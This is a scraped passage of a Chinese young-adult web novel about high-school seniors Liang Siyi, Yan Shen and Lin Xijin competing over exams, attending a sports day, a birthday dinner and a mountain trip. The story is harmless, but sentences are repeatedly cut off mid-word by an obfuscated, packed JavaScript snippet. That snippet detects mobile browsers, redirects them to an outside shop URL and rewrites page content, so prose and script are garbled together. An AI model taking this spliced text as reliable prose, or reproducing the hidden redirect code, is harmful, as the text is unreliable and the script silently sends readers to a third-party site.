大约没想到来的会是梁思意,阎慎微微一愣:“有事?” “天一大联考的数学卷子你带回来了吗?”梁思意轻咳了声,“我的卷子忘记带了,想借你的复印一份。” 阎慎没有任何怀疑,从一堆试卷里抽出一张,梁思意眼尖地瞥见上边密密麻麻的字。 她走近了说:“你写完了?你什么时候写完的?” “这两天输液没事做,顺手写的。”阎慎看着她,“你把我写的答案遮起来,一样能复印。” “我不是那个意思。”梁思意拿起他的试卷,由衷地佩服,“你不是还在生病吗?没必要这么拼吧,养好身体才比较重要。” “怎么,怕我几天比你努力,月考考得比你好?”阎慎懒散散靠在椅背上,脸上挂着欠揍的笑,“放心,就算你没我考得好,我也不会叫你真的改名跟我姓。” 梁思意紧咬着牙根,才没骂出声,“谁怕你这个了?” “那就是关心我?”阎慎转了转笔,胳膊杵在桌面上撑住脑袋,“这不是更奇怪?” “谁说是我关心你了!是阎叔叔他们担心你身体,才叫我上来劝劝你。”梁思意把试卷拍在他桌上,“我看你好得很!” “谢谢。” “……”梁思意气笑了,简直没法跟他好好沟通,“你就嘴硬吧。” 阎慎不置可否,拿起试卷问她还要不要,“不要我就收起来了,省得你多看两眼就把答案记住了,最后还要怪我把答案给你看。” “你简直不可理喻!”梁思意气得口不择言,也不知道自己在说些什么,气冲冲离开房间。 走到一楼,坐在沙发上玩手机的林西津抬头问了句:“怎么了?” “没事。”梁思意一口气喝掉半杯水,“你没出门吗?” “等你呢。”林西津起身伸了个懒腰,“今天还去钓鱼吗?” 梁思意放下水杯,有些犹豫:“我还有几张试卷没写……” “哦。”林西津了然,“那你先忙。” 梁思意“嗯”了声,还想再说些什么,开口的瞬间想起阎慎那张写得满满当当的试卷,又没再接着说。 高三的假期没那么久,梁思意返校前一晚熬了个大夜才把卷子写完,书包都没顾得上收拾,倒床一觉睡到天亮。 返校当天,他们第一次月考的分班表也跟着贴了出来。 这一次是全文科班打乱分的考场,梁思意分到一个完全陌生的班级。 没有熟人,她反而更冷静,没有心思去观察别人,全身心投入到两天的考试当中。 月考的时间全部按照高考的规制。 考试那两天,梁思意只在吃饭时才和阎慎坐在一起,不过彼此都很默契,不提考试不对答案,暗自较着劲。 考完当晚的自习课还是照常上。 梁思意忍了两天,还是没忍住跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她先看了林西津的成绩,才绕回到第一版面,顺着一百名往下滑,在第一百五十名处看见他的名字,语数英三科都在一百三以上,但文综总分还不到两百。 阎慎似乎早有预感,对此并不惊讶。 按照实验班的分班规制,他需要回原班级上课,今晚是他在实验班的最后一节晚自习。 放学后,阎慎将书和试卷收拾好,梁思意坐在一旁,心里没有赢过他的胜利感,反倒有些说不上来的复杂情绪。 阎慎收好东西,屈指撑在桌面上,和她对视:“恭喜,不用改姓了。” “……谢谢。”梁思意看似不那么情愿地安慰,“你如果不是生病了,文综应该不会考这么差的。” 阎慎刚要开口,她又说,“当然,就算不生病,你也一定没我考得高。” “谁知道呢。”阎慎有些欠扁地说。 梁思意很不礼貌地回了一个字:“滚。” 10.第 10 章 10 阎慎确实滚了。 梁思意的同桌换成了向葵,和学霸坐在一起能学到很多,但梁思意偶尔也会觉得压力更大。 极少数时刻,她甚至会怀念跟阎慎当同桌的时刻。 “以前也没觉得自己这么差劲呢。”看着向葵不费吹灰之力解出自己思考了半天的难题,梁思意泄气般趴在桌子上,“果然是人外有人,山外有山啊。” 向葵安抚性地摸了摸她的脑袋:“慢慢来嘛,都是积累出来的。” “我先让我的脑袋缓缓。”梁思意仍旧趴在桌上。 “你最近和阎慎怎么样?”同桌不到一周,向葵和梁思意已经快把彼此祖宗十八代八卦清楚。 “还可以。”不在一个班后,梁思意和阎慎的交流反而变多了,放学回家甚至会自觉留在餐厅一起学习。 高三所有班的复习资料都是一致的,只有进度上会有不同,实验班明显要比普通班快一点。 梁思意每天除了带自己的试卷和资料回去,偶尔也会给阎慎多带一份试卷。 只不过两人的关系并没有交流变多而有所改善,讲起彼此不擅长的题目时依旧阴阳怪气,谁也不饶谁。 梁思意经常被气到头晕,拽过他正在写的试卷塞进书包里:“这是我拿回来的试卷。” 阎慎还握着笔,有几秒的愣神,随即冷笑一声:“行。” 他从桌上拿起一本政治复习资料,用着不低的声音读道:“物质和意识的辩证关系,一,规律的客观性和普遍性……” 梁思意也不甘示弱,拿起英语试卷,大声朗读。 阎余新从卧室出来倒了几次水,最后一次像是再也忍不住,温声道:“你们俩要不要早点休息?” 梁思意和阎慎对视一眼,谁也不理谁,自顾降低了声音。 夜深寂静,梁思意揉着泛酸的脖颈,偶尔抬头,看到坐在对面一样奋笔疾书的阎慎。 即使对他有许多不满,但此时的她也不可否认,高三的漫漫长夜,似乎因为有对方的存在,并没有想象中那么难熬。 屋外不知何时起了风,卷着秋天的细雨淋湿了平城数日以来的晴日。 十月一场秋雨一场凉,陆陆续续下到月底,最高温度已经降到1开头的两位数。 又结束一场月考,梁思意拖着沉重的步伐回到教室,不同以往的沉闷,班里氛围很热闹。 她用高三生仅剩的幻想询问:“怎么了?放假了吗?” “你想什么呢。”向葵笑眯眯打破梁思意的幻想,“明天运动会呀,你忘记了吗?” 梁思意垂死挣扎:“可明天是周末啊。” “对啊,就是周末开运动会我们才能参加。”向葵说,“学校怎么会那么好心,把运动会开在工作日。” “开在周末就很好心了吗?”梁思意有些欲哭无泪,宁愿没有运动会,起码还能在周日睡个懒觉。 运动会开在高一高二的新校区,他们高三的还得每天早起,在老校区门口集合坐大巴过去。 熬过千篇一律的开幕式,没参加任何项目的梁思意被拉去给还不算太熟悉的同班同学加油。 她不擅长任何跟体力相关的运动,以往这种时候,都是站在观众席替林西津加油送水。 今年梁思意和林西津不在一个班,前段时间在微信上问过他参加哪些项目,但是林西津当时说还没考虑好,之后也一直没再提起。 上午第一个项目是男生跳高。 徐衡是班里唯一一个参加跳高项目的男生,向葵和梁思意被委以重任,替他做好赛场服务。 等挤进人群,梁思意才发现阎慎和林西津都参加了这个项目。 跳高不愧是最受欢迎的一项比赛,才跳过一轮,梁思意感觉场上的欢呼声已经快把她耳朵震聋。 第二轮剩下六人,徐衡刚巧站在林西津和阎慎中间。 三人身高相差不多,但阎慎从视觉上看起来更高大,露出的小臂线条修长,比暑假时期要白一些,是很健康的肤色。 林西津的肤色偏白,起跑跳跃时衣衫底下露出的皮肤,在日光下白得似乎有些晃眼。 梁思意眨了眨眼,看他接过班里同学的水,又被徐衡的手舞足蹈吸引目光,跟着向葵替他加油。 等到阎慎上场,加油声是一样的热烈。 他的起跑起跳都很专业,动作流畅,背越式过杆,长腿在空中勾出一道弧线,整个人落在软垫上轻轻一翻,又很快站起身。 黑色修身运动衣勾勒出优越的身形。 梁思意明显感觉到场上的尖叫声比之前要高出许多。 没有意外地,林西津和徐衡止步前四,剩下阎慎和理科班的一个男生争夺第一。 梁思意看到林西津登记完姓名,挤出人群追了上去。 阎慎跳过最后一杆,落地时已经有些吃力,但胜负已分,耳边欢呼声热烈,他装作不经意抬起头。 好多张陌生的面孔都在呼喊他的名字。 阎慎在软垫上站起身,借着高度优势,隔着几圈人影看见梁思意和林西津并肩朝前的身影。 周逸飞带着班上同学冲过来:“我靠!牛啊!” 他跳下软垫,脸上没有什么胜利的兴奋,随手摘下号码牌塞到周逸飞手里:“奖状你找人拿一下。” “诶,那你去哪儿啊?”周逸飞在后边追着问,“我等会也有比赛,说好给我拍照的,你别忘了啊!” 阎慎抬手比了个OK,径直走远了。 …… 另一边,梁思意追上林西津,问他等会还有没有比赛。 林西津摇摇头,说:“今年只参加了这一项,刚好前段时间打球崴了脚,也没办法参加其他的。” 梁思意的视线落到他脚上:“你脚受伤了?什么时候的事?” “有一阵子了。”林西津踮着脚跳了两下,“都恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952367|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复好了,只是太剧烈的运动一时半会还参加不了。” 梁思意回忆起这个月和林西津为数不多的几次联系,抿了抿唇说:“怎么都没听你提过。” “也不严重,况且你在实验班也挺忙的。”林西津笑笑,“高三还是学习最重要。” “也不是……”梁思意欲言又止,不知如何解释。 林西津似乎不太在意,带着梁思意回到五班的休息区,几个男生躲在帐篷里打牌。 有人起身给林西津让位置,他自然地坐了下来,梁思意站在旁边看了几分钟,觉得没什么意思。 她没跟林西津打招呼,离开了帐篷。 等回到实验班的休息区,梁思意收到林西津的微信,问她怎么走了,又约她中午一起吃饭。 她想了想,也没有拒绝。 梁思意在帐篷里拿了几瓶水,找到向葵,上午还有好几个项目,她们没参加比赛的似乎比参赛选手还忙。 一直在操场穿来穿去。 午休前最后一项比赛是男女生4x50米接力跑。 徐衡和向葵是参赛选手,梁思意早早站在最佳观赛区替两人加油,周围都是实验班的同学。 徐衡突然冲着跑道对面挥了挥手。 梁思意顺着看过去,看见举着手机站在人群里的阎慎,他正在拍候场区里一个正在做热身运动的男生。 是六班的周逸飞,梁思意之前陪林西津打球见过他。 他脱掉了外套,里边是贴身的运动衣,体格偏瘦,不停对着阎慎的镜头抛媚眼。 阎慎放下手机,面无表情地看着他。 周逸飞立马收敛,双手抱拳示意:“好好拍,哥的账号能不能火起来就看你的了。” 周逸飞这学期在做自媒体,每周会在自己的账号上更新一些高三生活的视频,数据一直平平。 阎慎回到六班上课那天,他随手拍了条欢迎他的日常,竟意外地爆了,大几万的点赞。 周逸飞一边痛批这个看脸的世界,一边对着阎慎的脸狠狠拍了十几条。 今天他原本计划拍学霸帅哥参加运动会的一天,但阎慎的参赛素材不多,他只好夹带私货,拍一点自己的搞怪加亮点。 哨声吹响,加油声此起彼伏。 阎慎举着手机,对准周逸飞,男生半蹲,手指撑地,是预备起跑的状态。 发令枪响起,六道身影飞快地蹿了出去。 镜头跟随,从对面观众席一闪而过,似乎是捕捉到什么,转动的镜头停了下来。 梁思意看着向葵接过接力棒,跟着周围人齐声喊加油。 秋日烈阳下,她的脸颊白里透红,一笑起来,眼眸明亮动人。 镜头停留的时间太长,偶尔的瞬间,她的视线随着场上飞跑的身影移动,目光无意间从镜头前扫过。 像是在对视的错觉。 在那个瞬间,阎慎仿佛能听见自己的心跳声。 11.第 11 章 11 上午的比赛全部结束,梁思意收到林西津的微信,两人约在校外一家米粉店碰面。 他们口味大相径庭,这家店是两个人在这边读书时,为数不多的都爱吃的一家店。 老店的门面不大,又是出餐点,店里已经坐满,梁思意和林西津坐在店外支起的小桌旁,还是跟过去一样。 一份不加辣,一份加了过量的辣。 梁思意拿纸巾擦了擦桌面,林西津起身说去买水,问了句:“你喝什么?还是橙汁?” 梁思意点头,说:“可以。” “行。” 便利店在马路对面,梁思意看着林西津走了进去,再出来时,他手上多了个塑料袋。 “给。”林西津把橙汁递给她。 梁思意接过来,在袋子里看见一瓶椰子水和一包烟,她一愣,看向林西津:“你什么时候开始抽烟了?” “高三压力大啊。”林西津说,“不过我也只是偶尔抽一根。” 梁思意不好说什么,他又说:“保密。” 梁思意替他保密的事情太多,似乎也不差这一件,但林西津学会抽烟这件事,她还是挺意外的。 毕竟在以前,林西津经常抱怨说自己身高没能突破185,就是因为小时候在家里吸了太多林元良的二手烟。 他甚至还说过以后坚决不会抽烟。 长大或许真的能改变一个人的习惯和喜好。 米粉很快端了上来,配料分量都没变,但可能是太久没吃辣,梁思意有些受不住,还剩了三分之一。 林西津也很快停了筷,抽了张餐巾纸,边擦边说:“总感觉没有以前味道好了。” 梁思意没尝出太多差别,拿筷子戳了戳碗底:“是吗?” “或许是太久没吃了。”林西津拿着水起身,“回去吗?” 梁思意应声,跟着站起身。 进了学校,林西津被同学喊去打球,梁思意原本想回教室,但想起这是在新校区,便跟着他一起去了球场。 她照旧在球场角落找了个位置坐着。 林西津脾气好,样貌好,在高中一直是个很受欢迎的人,和他打球的不只有高三的同学,还有一部分是高二的学弟。 也有女生围在球场外喊他的名字。 林西津会礼貌地冲她们挥手笑笑。 梁思意并不是一直在看林西津打球,也不知道林西津什么时候从场上退了下来。 他拿着水靠近:“看什么呢?” 梁思意吓了一跳,将手机递过去,说:“前几天月考的成绩,班里有同学发了语文和数学的分数。” “你这次考得也不错啊。”林西津坐在她旁边,接过手机划了划,没看到另一个名字,想起什么才又说,“你成绩进步挺快的,我看上次月考,连阎慎都没你考得高,好像还掉出实验班了啊。” 梁思意“嗯”了一声,说:“上次月考他生病了,这次估计可以重新考回来。” “是吗?”林西津好像不太在意,“也对,他成绩一直都很好。” 梁思意不知道该怎么说,想来想去,只干巴巴地评价了一句:“他挺努力的。” “努力?”林西津轻笑,垂眸看着屏幕上不同的高分,低声喃喃,“谁不努力。” 他也一样地努力。 梁思意没听清,侧头问:“什么?” “没什么。”林西津把手机还给她,起身说,“我还要再打一会,你要有事就先走,不用跟我打招呼。” 梁思意接过手机说好,一直看到下午比赛开始才离开球场。 运动会只开两天,第二天林西津没参加项目,甚至都没到场,梁思意依旧在班里做后勤。 高三不参加闭幕式,傍晚回老校区的大巴上,班群里发了月考的排名。 梁思意依旧排名垫底,但各科分数都在均匀增长。 令人意外的是,阎慎这一次还是没有考进前一百名,不过他的总分和排名都比上一次要好。 周逸飞安慰阎慎,说下一次一定行,又说,“再不济,你干脆留在班里,我们一起来做这个账号。” 他的运动会日常一发,果然火得一塌糊涂,只是可惜阎慎拍他的那段竟然忘记开录制了。 真是自媒体界一大憾事。 阎慎没搭理他,从包里翻出复习资料,周逸飞见状也不再打扰,只是默默掏出手机,对着他又拍了几条素材。 晚上梁思意回到家,肩负着徐衡和向葵对阎慎的关心,原本还想安慰他两句,可见他只顾埋头学习,便把安慰的话又咽了回去。 她也拿出笔和试卷,在餐桌的另一边坐下。 阎慎抬眸看了一眼,梁思意摁着笔和他对视:“怎么?” 他没说话,把手边订正好的数学卷子推过去。 梁思意看到卷面上三个刺眼的数字,想到自己刚过百的分数,眉心一跳:“你存心刺激我?” 阎慎揉了揉太阳穴,说:“试卷老刘今晚才讲过,基本上每道题都讲了。” 梁思意一愣,意识到他是什么意思。 张德忠在实验班讲试卷不是按照顺序每道题都订正,像选择填空一般都是念个答案,碰到特别难或者比较典型的题目才会单独拎出来讲解。 梁思意之前几次,都是课后另外下功夫,才能把整张试卷的错题弄明白。 老刘和张德忠不同,讲卷子恨不得把每道题都掰碎喂进学生嘴里,也是靠他这样细致的讲课风格,梁思意的数学才不至于差到离谱。 梁思意默默把试卷拽到面前,看见上边红黑交错的字迹,心里充斥着说不清的情绪。 她快速地说了声谢谢,也不管阎慎的回应,拿起笔,不停翻看试卷,看似很忙的样子。 阎慎也没所谓,继续写自己的题目。 这样的夜晚已经成为他们相处的常态。 按部就班进入十一月。 周六是林西津的妹妹林乐心的生日,考虑到他们白天都要补课,林家特意将生日宴定在了晚上七点。 傍晚,林父特意开车过来接他们,但梁思意上车后才知道,阎慎不跟他们一起。 “说是班里要开班会,让我们先走。”林元良心里清楚,这多半是他的托词,也不好强求。 梁思意随便嗯了声,车子便启动了。 林家离三中并不远,但阎余蕙考虑到林乐心往后十八年的就学问题,已经在准备换新房了。 一路上,梁思意和林西津有一搭没一搭聊着,林元良偶尔也会插嘴问一句她在实验班怎么样。 梁思意笑着说:“还好,已经都适应了。” “听你妈妈说,你的成绩一直在进步呢。”林元良开玩笑道,“西津,你可要加把劲,要说起来,思意以前成绩还没你好呢。” 林西津敷衍道:“你还不让人进步吗?” “爸爸哪里是这个意思,别人进步,你也要进步啊。”林元良一时口快,“你看思意现在去了实验班,连半路转到文科班的阿慎都去了,你——” 车厢内有一瞬凝滞。 林西津却依旧是那满不在意的模样:“他也不过是运气好,不然怎么只待了一个月就回到普通班了。” “运气也是实力的一部分啊。”林元良叹笑一声,没有再继续这个话题。 不知为什么,梁思意心里有些微妙的不舒服,似乎并不太能接受他们所谓的运气论。 不过,现在不是争辩的时候,她也没有开口的资格,便什么也没说。 到了林家,梁思意和长辈们打过招呼,才刚在客厅角落坐下,门口传来停车的动静。 阎慎不知从哪儿借了辆山地车,径直骑进院子里,隔着客厅的落地窗,他的视线与梁思意打量的视线交汇。 他穿得单薄,身后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962903|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书包却鼓鼓囊囊。 梁思意突然意识到,在车里那一瞬的不舒服源于何处。 阎慎的努力,她比其他人更清楚,也明白他能进实验班,不仅仅是运气。 高三这座独木桥,他们都走得并不轻松。 阎慎不知道梁思意在想什么,只是发觉她似乎在愣神,自顾错开视线,停好车进了屋。 晚餐在家里吃的,切过蛋糕后,林乐心被阿姨带去洗漱,几个长辈坐在一起搓麻将。 梁思意找了一圈没看见林西津的身影,路过客厅被阎慎的爷爷奶奶拉着问了些学习上的事。 她现在是家里的好学生,得到的褒奖不比阎慎少。 只是老人家夸得未免有些过头,梁思意听得脸热,又不好意思起身走开。 阎慎倒完水走过来,从沙发上拎起书包:“你数学笔记带回了吗?借我看一下。” “啊?”梁思意微微一愣,很快反应过来,“带了,我拿给你。” 两人拎着书包走到偏厅。 “谢谢。”梁思意把书包放在茶桌旁,整个人轻松不少。 “没什么。”阎慎在她对面坐下,“老人家没坏心思,拿你当一家人。” “我知道,只是觉得奶奶夸得太好了。”梁思意拍拍心口,“我心虚啊。” 阎慎忽然笑了下,露出一些符合年纪的少年气:“你还会心虚?” “你以为谁都像你?”梁思意撇了撇嘴,“脸皮厚得刀枪不入。” 阎慎不置可否,翻出试卷摊在桌上。 梁思意看着他写得很满的卷子,忽然问:“你会觉得挫败吗?” “什么?” “从实验班离开,你会觉得挫败吗?”梁思意重复道。 “有一点,但高三不就是这样,每个人都在拼尽全力,你总要接受别人超过你。”阎慎说,“我只看我脚下的路。” “那要是你一直都回不了实验班呢?” 阎慎摁了摁笔,不答反问:“你很在意?” “我不在意。”梁思意答得飞快,生怕慢一秒就被他会错意。 阎慎安静了一瞬,问:“那是林西津在意?” “跟他有什么关系。”梁思意不明白他怎么突然提起林西津,也佩服他的敏锐。 林西津似乎真的很在意。 “那你问那么多?”阎慎看着她。 “我关心同学不行吗?”梁思意也看着他,“是你对我偏见太多。” “没有。”阎慎简短地反驳。 梁思意信也不信,没再跟他争辩,也翻出一张试卷摊在桌上,像在家里度过的许多夜晚。 她觉得平静和踏实。 沙沙笔声中,林西津靠近的脚步暂停,他停在一片阴影里。 屋内,梁思意指着一道题和阎慎争执,她皱着眉,似乎在思考,阎慎骂她笨,扯过试卷飞快写出解题步骤。 梁思意不情不愿地说谢谢。 阎慎塞上耳机不再搭理她。 林西津觉得这样的画面很眼熟,想了很久才记起,原来他和梁思意也有过这样的时刻。 那是在初中,他教她念不擅长的英语,辅导棘手的功课,跟她分享学习之外的趣事,享受她的仰望和崇拜。 林西津年少时一直落于下风的不满与愤懑,在什么都不会的梁思意这里得到短暂的纾解。 可梁思意并不是永远只会原地踏步的人,不知道从什么时候起,她的努力和进步开始让林西津觉得害怕。 她几年如一日坚持他已经不再使用的学习习惯,可以不费吹灰之力解出困扰他许久的难题。 仰望的天平逐渐倾斜。 梁思意似乎不再需要他的帮助,甚至在原先并不擅长的英语比赛中胜过他,代表学校去参加市级比赛。 她变得越来越好,好到让林西津产生一种在面对阎慎时一样的恐慌与自卑。 12.第 12 章 12 第三次月考结束,阎慎终于重新回到实验班上课,班主任张老师对班上座位重新做了调整。 他和徐衡成了同桌,梁思意依旧和向葵坐在一起。 为了庆祝他重回实验班,也为了难得拥有的休息日,徐衡提议他们四人这周日一起出去玩一趟。 “是我老家那边的一个景点,我们早上坐大巴过去,可以直接到景点附近的汽车站,爬完山下午就能回,也不会耽误太多时间。”徐衡期待地看着他们,“怎么样?你们有没有兴趣?” 坦白来讲,梁思意对爬山并不感兴趣,但高三生活实在枯燥,她并没有拒绝:“可以啊,但我事先说明,我体力不太好,可能爬不了那么快。” “放心好了,山不高,主要是看裂谷和瀑布。”徐衡又看向阎慎,“你呢?去不去?” 阎慎也没有拒绝。 周日一大早,梁思意和阎慎一同出现在家里的餐桌旁,何文兰知道他们今天要出门,提前准备了些点心。 她不方便直接提出让阎慎提着,只好事先打包好放进梁思意的书包里,又在手上拎了拎,说:“还好,不算特别重,你见到同学给他们分一分。” “知道了。”梁思意搂了搂何文兰的肩膀,“我每天背的书比这重多了。” 何文兰笑了笑,没再说什么,只叮嘱道:“路上注意安全,到了给我发消息。” 她又看向阎慎,对于这个孩子,何文兰心里总有些亏欠,有些话也不像过去说得那么容易,最后也只是同样叮嘱了一句注意安全。 阎慎点了点头,含糊不清地“嗯”了一声,他弯腰换鞋,露出一截后脖颈,发尾剃得整齐。 梁思意也站在玄关处,低头从鞋柜里找了双软底的运动鞋,随手将书包靠在旁边。 等换好鞋,她手往旁边一捞,却捞了个空。 梁思意疑惑地抬起头,却见阎慎拎着她的书包站在门口,面无表情地看着她:“你的鞋上锁了吗?” “……”梁思意不知道他为什么总能把话说得那么难听,但碍于他为数不多的大发好心,她没有跟他争个口舌之快。 他们四个约好在汽车站门口碰面,梁思意提前叫了车,走到巷口,出租车已经停在路边。 梁思意拉开车门,阎慎不客气地先弯腰坐了进去。 她抓着车门呆了两秒,才跟着坐进去。 在去车站的路上,两人照例沉默,一直到下车见到向葵和徐衡,梁思意才从快要窒息的沉默当中活过来。 徐衡拿了四人的身份证去买票。 梁思意和向葵拉着手说不停,高三的压抑和枯燥让他们都对这来之不易的外出感到兴奋。 周末车站人很多,大部分都是拖着行囊背着行李包的成年人。 梁思意说得兴起,没注意阎慎的靠近,莫名其妙被他推了一下,正要发火,却见身旁走过一个扛着大包小包的中年男人。 只差一点,男人肩上的行李袋就要碰到她的脑袋。 梁思意愣了瞬,张嘴说:“……谢谢。” 阎慎却没再看她,靠着栏杆低头看手机。 “买好票了,走吧。”徐衡拿着票走近,“没想到现在都有卖景区直达票了,下车直接转景区游览车就可以到检票口。” 四人进入候车大厅。 快检票上车时,梁思意的手机忽然响了,她拿出来一看,起身说:“你们先去排队,我去旁边接个电话。” 她往大厅角落走,阎慎眼尖地瞥见屏幕上闪着林西津的名字。 梁思意走到检票大厅的窗前,电话已经自动挂断,她又回拨过去,林西津接得很快:“还以为你没起来呢。” 梁思意说起了,又说:“刚没来得及接。” 林西津没太在意,笑着问她:“今天有事吗?我爸送了我一套新渔具,要不要一起去试试?” “今天吗?”梁思意看了眼阎慎他们的位置,广播已经在喊检票,他们正准备过去排队。 “怎么,你有事啊?” 梁思意“嗯”了一声,说:“我跟同学约好了,现在已经在车站了。” “那好吧。”林西津没再说话,但也没挂电话,静默几秒,他忽然低声问,“我没有优先权吗?” 梁思意微微一怔,心跳“咚咚”地跳得飞快。 她无意识抓紧了手机,林西津总是给她这样的错觉,让她觉得他似乎什么都知道。 没等梁思意想好怎么说,他又笑道:“好了,跟你开玩笑的,你玩得开心。” 梁思意说好,又问他:“下周可以吗,到时候如果你还想去,我可以陪你。” “再说吧。” 林西津挂掉了电话,梁思意的心在摇摆,这段时间她和林西津的时间总是凑不上,一直也没怎么见面。 向葵冲她招手:“思意!要检票啦。” 梁思意走过去,有些犹豫:“我……” 徐衡一边把票递给检票人员一边说:“我们速度快一点,下山还能赶得及在附近吃顿农家乐,那边的菜味道还不错。” 梁思意停在检票口前,对上徐衡兴奋的目光,实在说不出拒绝的话。 “嘀”的一声。 阎慎从她身后探出手先刷了身份证,擦肩而过时,他低声说:“你如果不想去,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968372|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还可以回去。” 梁思意一怔,对上他的视线。 他眸光淡淡的,神情一如既往地平静,似乎并不在意她的去留。 梁思意有种被看穿的不适,但犹豫再三,还是伸手刷了身份证。 毕竟以后和林西津见面的机会还有很多,她也不想在今天当一个扫兴的人。 和阎慎并肩走着的时候,梁思意嘴硬地解释道:“我没有不想去。” 阎慎没有看她,冷声说:“跟我没关系。” 梁思意不说话了。 从平城到陆城的景区,将近两个小时的车程。 梁思意和向葵从上车聊到下车,徐衡被她们吵得堵耳朵:“幸亏你们不是高一就认识,不然我现在该戴助听器了。” 向葵直接给了他一巴掌:“我现在就可以打得你戴助听器。” “女侠!饶命。”徐衡拽着阎慎,“快跑,离暴力狂远点。” “徐衡!你个狗东西!你给我站住。”向葵也拉着梁思意往前跑,“你今天死定了!” “我哪天不是死定了!” 梁思意跟着跑了几步,已经开始喘气,向葵追到徐衡,松开她的手,她感觉嗓子眼都有些发干。 何文兰装的水和点心都在书包里,有先前那一出,梁思意不知道怎么跟阎慎开口。 她轻咳了一声,试图引起注意。 阎慎低头看手机,也不知道手机有什么好玩的,梁思意靠近了,才发现他竟然在刷一个学习视频。 “你是不是有点可怕了?”梁思意不理解也不尊重,“你能有点出来玩的态度吗?” “……”阎慎解释,“只是刚好刷到这个视频。” 梁思意不太相信。 阎慎也不多说什么,收起手机问:“喝水吗?” 梁思意点头。 阎慎从包里拿出一瓶水,拧开了递给她。 梁思意有些意外,但又觉得在情理之中,抛开别的不说,阎慎其实是个挺好的人。 她低声说谢谢,仰头喝了一口水,看向在一旁打闹的向葵和徐衡,又看了眼站在一旁的阎慎。 过去她和阎慎虽然没有像他们一样拥有青梅竹马般的情谊,但也有过融洽和谐的时刻。 在那些同住一屋檐下的岁月里,他们交换过不算秘密的困扰,分享过喜悦的瞬间。 虽然不比林西津亲近,但如果没有成为一家人,成为名义上的兄妹,他们或许会成为长久的朋友。 不会像现在这样,沉默总是占据他们相处的许多时刻。 这种并不对等的关系交换,让梁思意第一次尝到些许命运弄人的苦涩。 13.第 13 章 13 接近秋冬的季节,景区里的树木枯黄,裂谷两侧石壁上的青苔所剩无几,只看见光秃秃的石头和没有修建过的半天然石窟。 不算高的崖边有飞流而下的瀑布,水帘像密雨,梁思意从木桥上走过,一个没注意,被兜头淋了一脸的水。 幸好这天阳光不错,她没觉得太冷,拿纸巾擦掉脸上的水。 前边是裂谷的通道口,队伍排得很长。 徐衡回过头说:“这个通道一次只能通过一个人,你们踩着往上走的时候,脚一定要踩实了,手也要记得抓紧铁链,不然很容易踩空。” 梁思意抬头望天。 天空是湛蓝的,被裂谷两侧的石壁割出一个大大的V字,石缝间的树影像墨笔,在蓝布上勾出天然的线条。 四人随着人流缓慢往前,等抵达通道口,梁思意头一回想打退堂鼓。 裂谷往上只有一条人工修建的通道,空间狭窄,木质的攀梯明显看出已经有些年头了。 梁思意硬着头皮踩了上去。 阎慎跟在她身后。 徐衡在最前方,边爬边回头看:“慢点慢点,注意安全。” 话音刚落,向葵一脚没踩实,脚下一滑,幸好她步伐迈得不大,立马抓紧铁链紧贴着石壁站稳。 她拍了拍胸口,心有余悸:“妈呀,吓死了。” 梁思意也被她吓了一跳,抓着铁链半天没敢再动。 “怎么了?”阎慎停在她身后,站得比她低,视线却和她差不多持平,“恐高?” 梁思意摇摇头,看着眼前卡在石壁中间的石块,额头已经冒出汗。 “害怕?”阎慎往后看了眼,别的游客已经在慢慢靠近,他拍了下梁思意的肩膀,“你让我先过去。” “……”梁思意一惊,“阎慎,我没想到你竟然是这种人!” 幸好这一处的石壁还不算特别狭窄,阎慎从她身后绕到上方。 他一手抓着铁链,一手递到梁思意眼前,淡淡地问:“我是什么人?” “好人。”梁思意忙不迭改口,没有犹豫地抓住他的手,男生的体温高,手心滚烫。 她借力踩住石壁上人凿出的脚印,另一只脚跟着蹬在墙壁另一侧的凹槽里,总算爬了上去。 石块上的空间有限,阎慎退无可退,梁思意和他挨得很近,发尾无意间扫过他的颈侧。 他不动声色地偏了下头:“走吧。” 徐衡和向葵已经走到裂谷和另一条上山路的分岔口,问他们选哪条路。 梁思意一秒犹豫都没有,直接选了正常上山的路,向葵跟着点头,他们两个男生没有别的选择。 裂谷大冒险只能暂时告一段落。 山里的景色虽然因为季节原因大打折扣,但空气质量比市区高,是属于秋冬天的清冽。 